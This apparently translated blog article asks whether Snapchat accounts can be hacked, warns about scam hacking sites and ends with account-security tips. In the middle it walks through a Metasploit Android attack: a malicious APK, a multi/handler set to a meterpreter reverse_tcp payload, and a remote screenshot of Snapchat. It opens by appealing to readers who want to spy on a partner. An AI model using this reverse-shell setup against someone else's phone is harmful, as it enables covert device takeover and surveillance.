Dernière mise à jour: 27 mai 2023
Are you wondering if it is possible to hack a Snapchat account? Maybe you're looking to check your partner's fidelity or monitor your teen's smartphone activity. These questions may lead you to do a Google search.
However, what you find first on the results page might surprise you. Sites promise to give you access to videos, photos, and chat logs from any Snapchat account. But what is really hidden behind these tempting promises?
It is crucial to understand that these sites are often fraudulent. They sell false hope and are designed to get your Snapchat login information, steal your money or even take control of your device.
How can a Snapchat account be hacked?
A program allowing direct hacking does not exist. No magic formula will allow you to hack a person's account.
However, it is important to note that no computer security can be guaranteed 100%. For a hacker to succeed in taking control of your Snapchat account, for example, he must demonstrate patience and intelligence. He usually uses specialized tools for this purpose.
For example, he could turn to the Kali Linux distribution, known for its range of tools for analyzing IT security
Metasploit: A tool commonly used by hackers to target mobile phones
This technique involves the exploitation of operating system vulnerabilities like Android and iOS, as well as applications installed on these platforms.
Every day, new security vulnerabilities are discovered by cybersecurity researchers on systems Android and iOS. These vulnerabilities can be exploited. Thus it could allow a malicious individual to take total control of a phone or tablet.
To exploit these vulnerabilities, an attacker could theoretically create a malicious APK application and deliver it to a victim. Once the application is installed on the victim's phone, it would become technically possible for the hacker to take control of the device and access their Snapchat photos and videos.
To do this, hackers can use theMetasploit tool, available on Kali Linux.
The latter is a tool for developing and executing code exploiting the vulnerabilities of a remote system. Indeed, it contains hundreds of exploitation modules and makes it possible to exploit the vulnerabilities of various types of systems.
If you want to test the security of your phone and if you have a computer running Windows, we recommend using a virtual machine running Kali Linux. For this, you can download VMware and a Kali Linux image. Metasploit is already preinstalled on this distribution. Here is how to install kali linux on a machine Windows using VMware.
Linux Commands to Assess Your Phone's Security
To begin, we will open the Kali Linux terminal, then we will create the client APK (this is the application we will use for testing purposes).
Be sure to replace LHOST with your own IP address.
Next, we will open another terminal and launch Metasploit to configure our test APK.
use exploits/multi/handler // (this command allows you to select the exploit handler)
set paylaod android/meterpreter/reverse_tcp
set lhost your_ip_address
exploit
Once the module is properly configured, the next step would be to install the APK on your own phone, as a test device, to assess the vulnerability.
When the app is installed, Metasploit will show you a notification similar to this:
Then, from your computer, you can open a Meterpreter session remotely on the phone.
[*] Starting interaction with 1…
This theoretically gives you full control over your phone. For example, you might be able to take remote screenshots of theSnapchat app :
Loading extension espia… success.
meterpreter> screenshot snapchat.jpg
How to secure your Snapchat account against hacking?
As we saw earlier, a malicious app created with tools like Metasploit can potentially take control of your phone. This highlights the importance of being vigilant when downloading and installing apps.
Indeed, to effectively secure your Snapchat account, it is essential to take into account the following measures:
- Avoid downloading apps from unofficial or suspicious sources.
- Make sure your Snapchat app is always up to date.
- Be sure to maintain your operating system (like Android or iOS) up to date by installing the latest security updates.
- Opt for a strong and unique password for your Snapchat account.
- Be careful about clicking on links or opening attachments, even if they appear to come from trusted contacts.
- Acquire knowledge of social engineering techniques commonly used by hackers to obtain sensitive information
- Limit sharing of personal information.
Conclusion
Hacking a Snapchat account is no easy feat. A hacker can spend several hours trying to take control of a Snapchat account without succeeding. Indeed, if the target account is properly secured, the hacker's efforts will be in vain.
We hope that through this article we were able to provide you with relevant information about application security Android and iOS, in particular the Snapchat application. Our goal is not to promote piracy, but rather to raise awareness about the importance of digital security.
If you think your Snapchat account has been hacked, check out this article: 'How to recover a hacked Snapchat account?' This will provide you with information on the steps to take to restore the security of your account.